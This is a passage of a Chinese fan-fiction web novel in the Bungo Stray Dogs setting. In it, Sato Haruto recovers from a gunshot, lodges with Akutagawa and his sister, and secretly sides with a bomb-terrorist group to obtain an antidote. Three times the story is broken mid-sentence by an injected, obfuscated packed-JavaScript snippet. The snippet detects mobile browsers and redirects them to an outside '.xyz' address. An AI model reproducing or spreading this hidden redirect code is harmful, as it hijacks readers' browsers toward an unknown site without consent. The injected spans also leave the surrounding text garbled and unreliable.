直到医护人员的八卦声和脚步声渐行渐远,门扉被重新合起的时候,佐藤阳翔才缓缓睁开了眼睛,双目无神地注视着头顶的天花板,面容因失血过多而变得苍白,嘴唇也因为缺水而干燥起皮,反正看起来非常凄惨。 “......” 他万万没想到,自己居然没死成。 佐藤阳翔可以拿港口mafia的名誉起誓,自己的枪口绝对没有错位,百分之百对准的是自己的心脏。但巧合的是,子弹却避开了非常关键的部位,骤然响起的枪声正好被附近夜跑的热心市民听见,这才把浑身是血的自己及时送入了医院。 现在好了,所有人都以为他真的想自杀。 好心的织田作之助是佐藤阳翔目前唯一能称得上朋友的人。他在第一次听到佐藤阳翔自杀的消息时,还以为自己的耳朵出了什么问题——毕竟在他眼里,佐藤阳翔如果真的厌世了,比起自杀,他应该会先想方设法创死所有人才对。 自杀这种充满自毁意味的行为,与佐藤阳翔的性格并不符合:佐藤阳翔活着的时候从来不会思考什么活着的意义,虽然他有时候也会和疯子一样冒着生命危险寻找刺激,但绝大部分情况下,他都对自己要做的事有一定把握。 能面不改色地说出“如果我把大家都杀了,大家呆在一个没有我的阴间,那我怎么不算无痛自杀了呢”这种缺德话的家伙,会在出租屋里突然举枪自杀?别开玩笑了。 织田作之助将装着橘子和葡萄的果篮放在他的床头,果不其然收到了对方感激的眼神。 “...把自己搞成这个样子,真不知道你在想什么。”织田作之助叹气。 佐藤阳翔虽然从鬼门关前捡回了一条命,但距离身体好全还早得很——胸口中弹可不是闹着玩的事。 “...谢了,我以为你会问我原因。”佐藤阳翔艰难地发声,一呼一吸间伤口还疼着。 “我确实很好奇,但你不愿意说的话就算了。” 佐藤阳翔当然不可能向别人坦白。 ...如果他说自杀是为了返回另一个世界的话,织田作之助应该会推荐佐藤阳翔好了以后再去挂下脑科,或者选一家精神病院安享晚年吧。 就在这时,病房大门突然被人从外面叩响了。 佐藤阳翔露出了一个疑惑的神情。 现在早就已经过了院长日常巡房的时间,主治医师和护士应该都检查过自己的状态了才对——这种情况下,除了织田作之助外还有谁会过来看望自己呢? 织田作之助显然也不觉得佐藤阳翔会有什么朋友。作为港口mafia,在遇难的第一时间,比好友更快抵达的可能是敌人报复的子弹——但【天衣无缝】并没有做出危险的预示,织田作之助这才直接把门拉开了。 出乎他意料的,病房外站着一个自己非常熟悉的人。 “啊啦,织田作你居然会在这里呢。”太宰治拢紧身上披着的外套,慢悠悠地踱步走进了病房,打量了一下正躺在病床上的佐藤阳翔,“你们莫非是朋友吗?” “是啊。” “一般吧。” 二人说出的是截然相反的话。但单看床头正放着的水杯,以及特意筛选过种类的果篮,加上织田作之助这种爱操劳的心,太宰治也差不多猜到了答案。 他挑起眉毛,意味不明地“欸”了一声,凑到了佐藤阳翔跟前,一边歪头摩挲着下巴,一边用那只露在外面的鸢色眼眸注视着这名可怜的病人:“想不到佐藤君这么有勇气,居然会在出租屋里举枪自杀呢——呐,死亡是什么感觉?会觉得疼痛吗?” ...佐藤阳翔差点把这烦人的家伙忘了。 太宰治在港口mafia里可是个麻烦的家伙——虽然现在在武装侦探社也好不到哪去。 “感觉很差劲,像是脑袋被铁棒撬了,劝你不要轻易尝试。”佐藤阳翔率先移开了与他对视的眼睛,“太宰先生来找我有什么事吗?” “倒也没什么急事,只是想来看看受伤的佐藤君,顺便好奇地收集一下自杀的情报而已——啊,佐藤君应该还没忘记自己要完成的任务吧?”太宰治不急不慢地直起身,表情虽然是笑着的,但眼神看起来很冷淡,“毕竟芥川那里,还需要你的帮助。” “......” 过来探病不带果篮就算了,怎么还无良到催促重伤人员尽快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这个时期的佐藤阳翔连异能都还没有觉醒,他只是一名游走挣扎在黑暗最底层的小喽啰。这样的蝼蚁即使牺牲了,对港口mafia也没什么不利影响。 森鸥外正是看中这一点,才让他成为了秘密卧底。 但在这里,却是【路人卧底系统】要他叛变。 佐藤阳翔越想越觉得自己的记忆有点不太合理。 现在的自己并没有什么光辉业绩,也没有觉醒的异能,即便已经在【清洁小组】混迹多年,他也只是个非常普通的小喽啰——森鸥外为什么会在那么多人里独独选中自己成为卧底呢? 说实话,看着面前的光幕,佐藤阳翔现在的心里非常不爽:这个系统摆明了要让自己成为一具老老实实的提线木偶,仿佛在高傲地宣布一切都是既定的情节,自己只要循规蹈矩地进行就好了。 而且,佐藤阳翔在冥冥之中还有一种感觉,那就是眼前的【系统】恐怕和自己梦里的那个【佐藤阳翔】有什么关联。 在他的梦中,【佐藤阳翔】一共出现了两次——每次都和谜语人一样留下一大堆莫名其妙的话:第一次,他站在火里,向佐藤阳翔展示了毁灭中的横滨;第二次,他则以数据的形式站在了佐藤阳翔的面前,宣告他的“死亡”期限由于路人值不达标,马上就会过期。 ...这都是什么乱七八糟的。 系统、任务、古怪的记忆...迷雾重重的囚笼好像给佐藤阳翔的命运罩上了一层阴影。 如果自己做了和过去不同的事,又会发生什么呢? 34.第三十四章 65 在经历过头几天喘气都费劲的阶段后,佐藤阳翔总算是度过了危险期。这几天他都把【系统】当智能手机玩,时不时就要喊出来骚扰一下,还发掘了不少新奇功能。 织田作之助偶尔会在看望佐藤阳翔的时候帮太宰治捎话,虽然并不是什么好话,但佐藤阳翔基本都会竖起友好的中指以表感谢。 这段养伤的日子就和度假一样,佐藤阳翔过得非常舒适——所以年轻的身体恢复起来也相当快,要不是医生告诉他明天差不多可以出院了,佐藤阳翔还计划在这里多住一段时间呢。 “你真把医院当度假村了?”织田作之助双手抱胸,站在他的病床边无奈叹气,“你的任务不要紧吗?” “有为了获得认可而干劲满满的小伙子在,我干嘛要眼巴巴地凑上去?芥川肯定觉得我是累赘吧。” 佐藤阳翔说这话的时候正在翻书——他从前看那些严肃文学时,从来都哈欠连天;到后期直接就当安眠药使用了,这还是织田作之助第一次见到他肯闲下心来赏阅文字。 “我好像没有给你带过书吧,这本小说又是从哪里来的?” “噢,这不重要,重要的是这本书非常有趣。” 佐藤阳翔当然不可能坦白说这本小说是他在【系统】里的商城购买的——好像只要花费一定积分就能直接购买商城里的东西。 不知为何,【系统】里存储的积分相当多。 难道他以前也使用过【系统】吗? 梦想成为小说家的织田作之助对这本小说很感兴趣,想知道究竟是一本何等迷人的小说,居然能把佐藤阳翔这样的混混驯化成愿意看书的文化人。 他问:“佐藤,你可以给我说说里面都写了什么吗?” “让我看看...唔,这是一本讲述男主角是公公的地下情人,有一次背着女主角偷情的时候被发现了,然后女主角借机假死,变性成为男人以后回来勾引前夫,最终达成复仇目标的狗血家庭伦理小说——其名为《迷人的妻子》。” “......” ? 有的时候,由于织田作之助的听力速度过快,当他意识到自己都听见什么内容的时候,一切都已经来不及了。 他就不该对佐藤阳翔的品味抱有什么期待的! 佐藤阳翔刚发掘出看狗血小说的兴趣爱好,一口气在商城里买了好几本书,甚至有了未来要不要尝试当狗血影视剧编剧的想法。门扉开了又关,等下一次再被什么人推开的时候,佐藤阳翔还以为是织田作之助落下东西了,结果一抬头就看见了一脸阴沉的芥川龙之介。 嗯。 嗯?!芥川龙之介?! 他惊讶地看着在印象里绝不会出现在自己病房里的那个家伙——难道今天是什么黄道吉日吗? 少年的身上带着浓浓的火药味,以及尘土的味道,看起来活像是刚撤出了某个危险的战场,表情难看得像是准备下一秒就用【罗生门】把佐藤阳翔吊起来鞭尸。 “好久不见啊龙之介...” 佐藤阳翔的招呼还没打完,他就被人攥着衣领从病床上拽了起来。 “好吧,看你的样子应该是遇到麻烦事了,需要我帮忙吗?”佐藤阳翔挑眉,把手里的小说塞进了芥川龙之介的怀里。 ——其名为《生气是魔鬼》。 那双燃烧着怒火的眼睛,眼里的火焰似乎更加旺盛了。 “你究竟和太宰先生说了什么?!”芥川龙之介咬牙切齿,额头青筋隐隐发作,“在下已经说过了吧,不要妨碍在下!” 唉,这个年龄段的小孩就是气性大。 “我都不知道你在说什么,怎么就怪到我头上了?我是什么很倒霉的背锅侠吗?”佐藤阳翔说完,看了一眼芥川龙之介被灰尘蹭脏的外套,“你难道刚刚遇到了炸弹犯?那确实挺糟糕的...” 芥川龙之介的后槽牙都快咬碎了:“你...你为什么要向太宰先生申请,和在下住在一起?!” ......哈? “你不要诽谤我啊!” 佐藤阳翔大惊失色,但他同时一下子就明白了,这一定是太宰治在借机报复自己背后偷偷朝他竖中指的事——否则很难想象,太宰治居然会对部下说出如此疯癫的谎言! “反正这不是我提的要求,我明天就要出院了。”佐藤阳翔拽回自己的衣领,很有气势地捡起了掉在地上的那本《生气是魔鬼》,“既然我们都不太满意对方,你还是自己回去吧,别管你的太宰先生说的那些废话了。” 芥川龙之介这么难搞,谁会愿意和他住在一起啊! “你竟敢对太宰先生不敬...” 出乎佐藤阳翔意料之外的,年少的祸犬在见到自己转身的那一刻就直接亮出了【罗生门】,锋芒直抵他的后背,眼眸瞬间变得漆黑无光,“听好了,只要这是太宰先生的嘱咐,就算跨越生命,在下也一定会不择手段地完成。” 他攥紧拳头:“即便要和你这种家伙住在一起...” ...为什么表现得太宰治好像是在叫他去死一样。 但佐藤阳翔的内里已经不是从前那个气血上头的少年——他深吸一口气,摸了摸怀里的烫金典藏版《生气是魔鬼》,露出了一个和蔼的微笑。 书上说,不要生气,生气给魔鬼留地步。 毕竟现在的自己还没有觉醒异能,如果当场和芥川龙之介翻脸,那真的只有被钉在墙上的份。 “那就一起住吧。”佐藤阳翔呼气,转过身把那本书挡在自己面前,勉强扯着嘴角问,“我们什么时候回家?” 66 随着日期越来越向春天迈进,天气回暖了不少。华灯初上时,一名拥有着柔顺黑发,气质犹如大和抚子般的少女站在街边,来往的不少行人都忍不住为她的美丽而侧目——谁也不知道,少女手中的提包里装的是用于变装的白色绷带,为了绑住柔顺秀发而特意准备的黑色粗发圈,以及一把极为锋利的匕首。 芥川银站在路边,一辆黑色轿车停在她的面前,车窗缓缓降下,露出一张从世俗上来说,对年轻女性极具吸引力和欺骗性的脸。 今天的驾驶座上是一名陌生人。 常年浸淫于港口mafia暗杀行业,且警惕心极强的芥川银,第一反应就是先不动声色的摸自己随身携带的匕首。但那名金眸少年一眼就看穿了她的动作,立即露出了一个极具亲和力的微笑:“先别急着袭击,你就是银酱吧?龙之介的妹妹?” 她瞬间顿住,迟疑着问:“你是...?” “你好,我是从今天起被迫和你哥同居的佐藤阳翔,以后请多指教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980246|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啦。” 佐藤阳翔和办签售会似的,非常友好地握住了她的手,神情恳切地说出了任谁都忍不住浮想联翩的话——而且这也并不是谎言。果不其然,下一秒芥川龙之介充满威胁的声音就从后座上传来:“...你想死吗?” “本来就是你先威胁我,要我和你住一起的啊!现在还让我这个伤员开车当司机,你也太没品了吧!” 芥川银还处于震惊状态,眼神惊疑不定地在斗嘴的两人身上盘桓,好像看见了两只随时准备互啄的企鹅。 “上车吧,银。”佐藤阳翔笑眯眯地松开手,“我猜你现在一定有很多疑问——不过更具体的可以去问你哥哥,你只要知道,我是个不会支付房租的家伙就行了。” 芥川银现在确实有很多疑问,不过... “不好意思,请问你有驾照吗?” ——比起房租,难道不是让这名开口后就显得尤为不靠谱的少年当司机更恐怖吗?! “这重要吗?我们可是港口mafia。还有,记得先把安全带系好噢。” 佐藤阳翔朝她眨眨眼,熟练地挂上档位,油门更是一脚踩到头,轿车轮胎瞬间发出低吼般的咆哮,直接无视了大叫的巡警,在大街上自由冲刺——副驾驶上的芥川银惊呼一声抓紧了安全带,坐在后座上的芥川龙之介更是差点把头撞上前座,而且每当他准备发作的时候,车就开始不定时减速或者加速。 ——佐藤阳翔绝对是故意的! 在一路超车后,佐藤阳翔最终稳稳当当地把车停在了芥川兄妹的楼下。他刚停好就迅速闪身下车,车座果然在他起身后立刻就被【罗生门】戳了个大洞,扶住把手的芥川龙之介额头青筋隐隐冒出,芥川银更是呆了好久才回过神来。 要不是司机在路上掌握着最大话语权,佐藤阳翔恐怕在半路上就已经被芥川龙之介用异能捅死了吧。 时间再倒回到几小时前。 佐藤阳翔办理好出院手续后,就回去简单收拾了一下自己的行李,然后快快乐乐地向房东退租了——本来因为门扉上洗不掉的血迹,房东还企图讹诈他一大笔钱,但最后还是老老实实只要了油漆大门的赔偿金。 啊,现在的房东多善良淳朴啊! 佐藤阳翔收起手里的枪,感觉心里暖暖的。 芥川龙之介当时坐在后座,一看见佐藤阳翔迈着轻松的步伐朝车走来,就隐隐觉得头疼——他的直觉告诉他,和这家伙待在一起准没好事。果不其然,最后佐藤阳翔为了报复芥川龙之介强迫病患当司机这件事,刻意一路飙车飙回了他家楼下。 芥川龙之介未来还要强行忍受自己的领地被这家伙入侵! “哥哥,你还好吗?”芥川银在回到自己的房间前,有些迟疑地露出了一个担心的表情,“他刚刚说的是真的吗?就是你们要同、同居的事...” 她的脸不由得发烫,在说出那个词语后就有些不太好意思直视自己的哥哥了。 然而,芥川龙之介本人并没有注意到这一点,佐藤阳翔还没有住进去他就觉得自己饱受折磨。 芥川龙之介只能不断催眠自己。 “...只要这是太宰先生的嘱托...” 可怜的芥川龙之介这时候还不知道,他安稳的居家生活即将因为佐藤阳翔的到来变得乱七八糟。 35.第三十五章 67 佐藤阳翔和芥川龙之介的同居生活开启得很微妙——芥川银作为女性有单独使用的一层空间,所以佐藤阳翔只能和同性别的芥川龙之介呆在一层。 而现在,他正在和芥川龙之介据理力争,因为对方看起来正打算把他丢去睡客厅。 嗯,客厅里除了桌子外,就只有两套简约的纯黑色单人沙发,看起来非常符合人体工程学,但功能仅限于正坐;如果要躺下来的话,就要做好大半身体都悬空在外的准备。 “...喂龙之介,你该不会真的要我这样睡吧?!” “哼,不愿意的话,那你就和狗一样睡在地上吧。”芥川龙之介冷笑,“还有,不要直呼在下的名字——我们还没有熟到这种地步,被你直呼名讳的感觉真令人不快。” “我好歹也是一名还在康复期的病患啊!” 佐藤阳翔一手抵住卧室的门扉,一手捂住心口,皱着眉头表现得很痛苦,“虽然出院了,但还没完全恢复过来呢...如果我被你扔到客厅睡沙发,半夜因为休息不好,突然猝死了怎么办?” 佐藤阳翔苦口婆心地劝道:“我们未来可是要一起相处很久的啊!你作为房子主人难道不应该好好安置客人吗?” 芥川龙之介才不管他:“滚出去。” 太宰治只说了要他和佐藤阳翔住在一起,如有必要,就在日常生活中监视这家伙的一举一动——但要收留佐藤阳翔和自己一起睡床,是绝对不可能的。 芥川龙之介一定会在佐藤阳翔踏入自己房间的那一秒,立刻用【罗生门】将他大卸八块! 年少的祸犬绝不允许任何人轻易踏足自己的领地,更何况,对方只不过是才和自己见过几次面的拖油瓶。他们之间既没有什么深厚的交情,芥川龙之介也看他不太顺眼。 ——单单是允许这家伙四肢健全地在自己面前晃悠,他就已经觉得相当不爽了。 所以,芥川龙之介压根就没把佐藤阳翔当客人。他也懒得再看对方正靠着门边卖惨的可怜模样,房门“啪”地一声在佐藤阳翔的面前关上,还差点夹到他的鼻子。 “嘶...真要我在客厅打地铺啊...”被撵出去的免费房客悻悻地摸了摸鼻子,“这个时期的龙之介一点也不可爱嘛。” 但眼下他也没有别的办法——毕竟人在屋檐下,不得不低头。夜色渐浓,佐藤阳翔一边打着哈欠,一边坐在沙发上看狗血小说,直到桌上手机信箱“嗡嗡”地响了两声,他才慢半拍地拿过手机,随意往屏幕上扫了一眼。 太宰治:“哟佐藤君,在芥川家住得还习惯吗?” ...这家伙,绝对是乘机来嘲笑自己的吧。 “谢谢您,太宰先生。”佐藤阳翔皮笑肉不笑地回复,“我在这里住得’非——常——好‘。” “哎呀呀,不用客气,毕竟我是个热心为别人着想的上司嘛。”太宰治像是看不出他话里的咬牙切齿,用手撑着歪着的脑袋,屏幕淡蓝色的光芒在他的眼里若隐若现,“既然你已经出院了,那就早点完成任务吧。” “炸弹犯已经再次出现了哦。” 看着这条信息,佐藤阳翔不由得将眉头拧了起来。他想起了今天芥川龙之介闯入病房时的风尘仆仆——芥川龙之介身上那股浓烈到令人呼吸困难的火药味,果然出自炸弹犯的手笔。 而且看这口吻,芥川龙之介也没能解决炸弹犯。 难怪今天他好像格外暴躁... 草草结束了和太宰治的对话,佐藤阳翔随手把书盖在了自己的脸上,闭上眼睛回想着记忆中的过去——森鸥外给他派遣了卧底任务后,佐藤阳翔慢慢也靠着贩卖港口mafia的情报,成功混入了炸弹恐怖组织,赢得了那名领导者的信赖。 唔...那名领导者的特质是什么来着? 时间隔得太久,有点记不清了。 就在这时,身着白色睡裙的芥川银正好从二楼走下来。她原本以为佐藤阳翔已经睡着了,但对方在听见动静后就取下了盖在自己脸上的书,温柔且友好地招呼道:“小银还不睡吗?” 少女点了点头,停留在距离佐藤阳翔三米开外的地方:“我下来喝水。” 作为暗杀者,她的眼睛里时刻闪烁着不亚于兄长的警惕——很显然,芥川银和自己的兄长一样,都对佐藤阳翔并非全然信赖。 “佐藤先生还不打算休息吗?” “我?我想再看一会儿书。”佐藤阳翔神态自若地举起手中的狗血小说,“是一本很精彩的小说哦。” 出于礼貌,芥川银还是捧场地问了一句:“是一本什么样的小说呢?” “唔,是一本讲述废柴女婿受尽社会打压和冷眼,老婆跟人跑了孩子被人抢了,在外沉淀三年,归来复仇打脸所有人的小说——其名为《歪嘴战神》,是不是听着就觉得很精彩?” ......? 芥川银果不其然也陷入了和织田作之助同等的茫然。 “...原来佐藤先生喜欢看这种类型的书啊。”她有些尴尬地笑了笑,然后就打算尽早喝完水上楼,远离这个品味不太寻常的家伙——但她刚拿起水杯,就听见门口传来了叩响的声音。 会在这个点敲门的家伙不可谓不可疑。 佐藤阳翔和芥川银瞬间警惕起来。少女随手撩起睡裙,从自己的大腿处拔出了一把寒光凛冽的尖刀;佐藤阳翔也拿起了桌上的配枪,贴紧墙根站在了她的对面。 芥川银借着猫眼往外看了一眼,门口站着的,是一名女人。那人带着面具,将整张脸掩盖得严严实实,只露出一双幽深的眼睛,坦然地叩动着门扉。 就是这探查的一眼,芥川银的表情忽然变得恍惚起来。她像是丢了魂似的,不仅丢下了手中的匕首,还将手直接搭在了门把手上。 “小银?!” 一直在一旁观察的佐藤阳翔立刻意识到了不对劲,当机立断用手按住了她的肩膀,强行压下了少女激烈的反抗,把芥川银往屋内扯。 “喂,龙之介别睡了!你妹妹...” 就在佐藤阳翔高声呼唤芥川龙之介的同时,位于一楼的卧室中,玻璃窗却骤然破裂,然后就是墙壁轰然倒塌的声音,这个动静可不小,着实把佐藤阳翔吓了一跳。 这是怎么回事?! 佐藤阳翔来不及多想,抬手就劈向了仍在挣扎的少女后颈,带着她就打算先去与芥川龙之介汇合,却先一步看见了被蛮力掀翻出去的少年。他剧烈地跪在地上咳喘着,下半张脸几乎都是鲜血,脆弱的脖颈处扎着一支药剂,卧室的房门已经在绝对的力量下变成了一堆碎片。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995122|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “情报说得没错,你的肺痨很严重呢。” 一名戴着面具的男子慢悠悠地从黑暗中走出来,语调带着明显的异国口音,居高临下地道:“你知道吗?这支药剂是由欧洲的异能者特意为你准备的,只需要一点点的剂量就能刺激肺部和呼吸道。” “为了帮你加速摆脱这种痛苦——我特意帮你加多了剂量,否则呼吸衰竭的过程可是很痛苦的。” 佐藤阳翔终于想起来了。 那名领导者的特质——残忍,凶残,锱铢必较。 芥川龙之介今天遭到了炸弹犯的袭击,但他和闳野次一郎不同,他逃脱了他们的“制裁”。理所当然地,他现在成为了炸弹恐怖组织猎杀的头号目标。 但这群家伙,居然胆子大到杀到敢杀进这里... 面具男瞥了一眼晕厥的芥川银,对准耳麦说:“艾莎,看来你没完成你的任务啊?——唉,我早就建议过你的,直接杀进门多方便啊,不稳定的精神系异能总会有失手的风险。” “除此之外...”他举起枪对准佐藤阳翔的头部,露在面具外的蓝色眼睛闪烁着阴狠的光芒,用有些蹩脚的日语问,“你又是谁?” 尘封已久的记忆终于转动。 佐藤阳翔对眼前之人,以及他口中的“艾莎”简直再熟悉不过,正是他卧底在炸弹恐怖组织时,遇到的组织核心成员。 佐藤阳翔终于反应过来,【系统】给他发布的“任务”究竟是怎么一回事了——佐藤阳翔在绑定系统的那一刻,它就一直在把佐藤阳翔赶向自己需要的那个方向,并且丝毫不给他反悔的机会。 太宰治最初让佐藤阳翔住进芥川宅的目的,肯定是为了让芥川龙之介借机盯着他——毕竟早在佐藤阳翔住院初期,他就展现出了对佐藤阳翔突然【自杀】的高度关注。 佐藤阳翔在炸弹袭击中奇迹般地复生,却又突然在半夜举枪自杀——身为港口mafia干部的太宰治无法轻易信任身上疑点重重的佐藤阳翔,当然会想方设法对他进行监视。 作为临时搭档的芥川龙之介,就是最好的选择。 但即便是太宰治,大概也没有预料到炸弹恐怖组织今晚会突然找上芥川龙之介。 他对芥川龙之介的态度虽然一直都很严苛,但芥川龙之介对港口mafia还有用,太宰治还不至于故意让他去送死——做过卧底的佐藤阳翔深知,那管针剂可不是闹着玩的,几个小时之内,芥川龙之介就会因为呼吸衰竭而亡。 而现在,芥川龙之介已经开始昏迷。 做过卧底的佐藤阳翔知道,只有眼前的面具男随身携带着解药。 无论如何,佐藤阳翔都不会眼睁睁地看着昔日同伴死在自己面前。 要拯救芥川龙之介的性命,佐藤阳翔压根就没得选,现在的他腹背受敌,身前的面具男和门后的面具女都是异能者,自己现在的身体还没痊愈,异能也没有觉醒——因此他只剩下了一条路。 在令人窒息的、死寂般的沉默中,佐藤阳翔缓缓举起了双手,并把手中的枪丢在了地上,示意自己并没有要反抗和攻击的意思。 他呼出一口气,友好地露出了一个微笑,随即目光便毫不畏惧地对上了面具男的那双蓝色的眼睛:“别着急啊...我们坐下来先谈谈吧。” 36.第三十六章 68 半夜十二点,一辆救护车高鸣着笛声,快速驶过空荡荡的街道。 芥川银坐在救护车中,忐忑不安地看着身上缠满各类仪器的兄长——上面显示的数值不容乐观,病人的生命岌岌可危。而瘫坐在另一旁的佐藤阳翔状态也很糟糕,他的右肩中弹,脸色惨白憔悴,鲜血几乎染红了半件白衬衫。 救护车里的医护人员暂时为他进行了外伤的包扎止血,并要求他尽量休息。 但他并没有置以理会,在抵达医院后,还和芥川银一起把芥川龙之介送入了抢救室。直到显示正在抢救中的红色信号灯亮起,他才脱力地靠着椅子坐下来,刚换不久的绷带已经再次被鲜血染红了。 “真是的,明明是伤员还到处乱跑。”负责处理佐藤阳翔伤口的医师皱起眉头,“中弹失血可是很危险的!” 这里是港口mafia旗下的医院,医师面对这种危急情况已经司空见惯,单看佐藤阳翔肩膀上的伤口就知道,不久前一定爆发了一场非常激烈的枪战——加上他胸前的伤口还没好全,现在还能正常行动已是十分难得。 芥川银在安顿完兄长后,就过来普通病房探望佐藤阳翔了。一小时前,她才从昏迷之中苏醒过来,一睁眼便看见了支离破碎的家,性命垂危的兄长,以及护在他们身前,肩膀中弹的佐藤阳翔。 现场的交火痕迹格外明显。破碎的花瓶、被子弹打穿的沙发,客厅里一片狼藉,碎玻璃和木屑四处飞溅。 据佐藤阳翔所说,一名戴着面具的男人给芥川龙之介注射了经过欧洲异能者处理过的特殊药物;佐藤阳翔在和敌人交火后不幸中弹——就在死亡即将降临之际,对方却被一个电话喊了回去,他这才从鬼门关前捡回了一条命。 之前还对佐藤阳翔抱以警惕之心的芥川银,对他的态度一下子就软化了许多。 如果没有佐藤先生的话,她和哥哥今天应该都无法活下来吧。 “你当时的情况像是遭到了精神控制,所以我只能把你打晕了。”佐藤阳翔在说这句话之际,脸上还挂着绅士的歉意,“可以告诉我,你当时都看见了什么吗?” 芥川银当然不会忘记那个女人。 “当时我往猫眼外看了一眼,正好对上了她的眼睛...然后我就不太记得发生什么事了,只觉得整个人好像都晕乎乎的,脑子里只剩下了出门这个念头...” 芥川银用力攥紧拳头:“不会错的,我想,这应该就是哥哥最近在追查的那拨人...” 能胆大包天到趁夜追杀港口mafia的人,说明这伙人无论是获取情报的能力还是战斗能力都是一流的——今夜袭击芥川宅的两人应该都是异能者,其中那名女人还拥有着棘手的精神系异能。 如果她能再有用一点的话,说不定就能帮上哥哥和佐藤先生的忙了... 少女的脸上闪过一丝懊悔。 但佐藤阳翔总是能一眼看穿她的心理活动,他抬起未受伤的左手,轻轻摸了摸她的发顶,鼓励道:“没关系的,小银,无论如何都不要懊悔过去——事情会有转机的,现在你就回到龙之介的身边吧,这时候他更需要家人陪在身边。” “...我明白了,佐藤先生。谢谢你,这份恩情我会铭记于心的。” 芥川银咬了咬嘴唇,朝着他深深地鞠了一躬,最终还是离开了佐藤阳翔所在的病房,朝着尚处抢救中的哥哥奔去。 当她的身影消失在视线中后,佐藤阳翔脸上温柔亲和的表情便犹如漏气的气球一般,一下子就瘪了下去。 “噢,佐藤先生~这份恩情可真沉重啊!” 佐藤阳翔靠回床头,从裤子口袋中拎出了一枚微型通讯器,上面正闪烁着线路接通的微弱绿色光点。通讯器传出男人滑稽且并不标准的日语。面具男——又或者说,炸弹恐怖组织的核心成员瑞克,正在阴阳怪气地模仿刚刚自己听见的话语。 “这名可爱的小小姐如果知道你恶劣的本质,为了洗脱身上的嫌疑甚至主动要求被射伤,大概会忍不住掉下小珍珠吧?” 瑞克笑起来的声音听起来就像漏气的手风琴——虽然听起来非常令人不快,但他本人却引以为豪。 “瑞克先生,你的声音很像噪音,接下来可以闭嘴吗?”佐藤阳翔恹恹地回答,“还有,不要有事没事就插话,如果被人发现我们就完蛋了。” “完蛋?No,No,不是‘我们’,而是你——在生死关头,毫无底线地加入敌方阵营的自私鬼。” 瑞克冷笑一声:“Haruto(阳翔),别忘了你的入会考核一直在进行——当然了,这个选择的价值可不止于一管小小解药。你如果真的要想加入我们,就该让我们看见你全部的诚意、智慧,以及狡诈。” “如果你对我们没用了,我们随时都会把你扔掉。”瑞克说,“不过作为前辈,我还是想给你个忠告——那就是随身携带备用枪支,身份一旦暴露了,你可以找机会用枪托砸碎他们的脑袋。” 佐藤阳翔认为,没有异能的自己恐怕会先被射成筛子。 “...谢谢你的建议,但我比较热爱和平。” 佐藤阳翔草草结束了对话。他把通讯器装回原位,决定先去看看芥川龙之介的情况——毕竟佐藤阳翔可是以叛变的代价换来了及时的解药,他当然要先验证一下那管药物的效果。 等佐藤阳翔来到抢救室门口时,芥川龙之介刚结束了手术。他戴着呼吸机,又因为常年的肺痨,身体本就比同龄人更差劲,但医师说能捡回一条命已是奇迹;送来的时间若是再被拖久一点,芥川龙之介都可能会直接丧命。 芥川银低着头站在兄长的病床边,与芥川龙之介如出一辙的灰黑色眼眸中,闪烁着莹亮的泪光。 她现在也才不过是一名年幼的少女,正是对兄长十分依赖的年纪。 “...奇迹吗?”佐藤阳翔没有走进门,而是靠在墙边独自咀嚼着这个词语,挑起眉毛,“如果是奇迹的话,倒也值得这个价钱。” 佐藤阳翔最后往里看了一眼,肃穆的白炽灯灯光落在那对相依为命的兄妹身上,却好像覆盖了一层阴翳。 69 佐藤阳翔一直坚信人在上班的时候会被消磨掉一些美好的品质:譬如耐心、快乐、同理心,甚至是一些正常为人的品格。比如他现在,就不得不带着非常抵触的心理,代替正在住院的芥川龙之介,向坐在自己面前的太宰治做工作汇报。 “...总而言之,芥川龙之介被袭击后还尚处昏迷之中。” 佐藤阳翔在针对昨晚发生的暴乱做过简单汇报后,说,“我认为,是港口mafia的内部人员泄露了芥川家的位置,能做到这一点的人应该权限相当大——芥川银是【黑蜥蜴】的暗杀者,芥川龙之介则是太宰治的直属部下,手能伸长到这种地步的,放眼整个港口mafia应该都没有几位。 港口mafia中,能拥有这种情报权能的人很少。 “综上,与组织外勾结的港口mafia社内叛徒,我建议先从各干部的部下们开始查起。” 佐藤阳翔垂着眼眸,仿佛完全没注意到自己说出的话何等疯狂:可不是谁都有勇气说出这种提议的,但凡在稽查过程中有一个不小心,这种建议就相当于在公然煽动港口mafia的干部相互对立——怀疑港口mafia的干部,后果可不是佐藤阳翔这种小职员可以担当得起的。 “诶......”太宰治无聊地拉长了尾音,终于在此时抬起了正专注于打游戏的头,随手将游戏机扔给了候在一旁的部下们,露出了一个意味不明的微笑,“佐藤君原来是这么想的啊,那么——” 他拢紧外套,从办公椅上站了起来,食指指向了自己:“佐藤君是在怀疑我吗?” 捧着游戏机的部下几乎被吓得出了一身冷汗——如果佐藤阳翔不承认,那就有刻意徇私的嫌疑;如果佐藤阳翔承认,那他就相当于公开站在了太宰治的对立面,之后的工作恐怕寸步难行。 佐藤阳翔眨了眨金色的眼眸,痛快承认:“其实我觉得你的嫌疑才是最大的。” 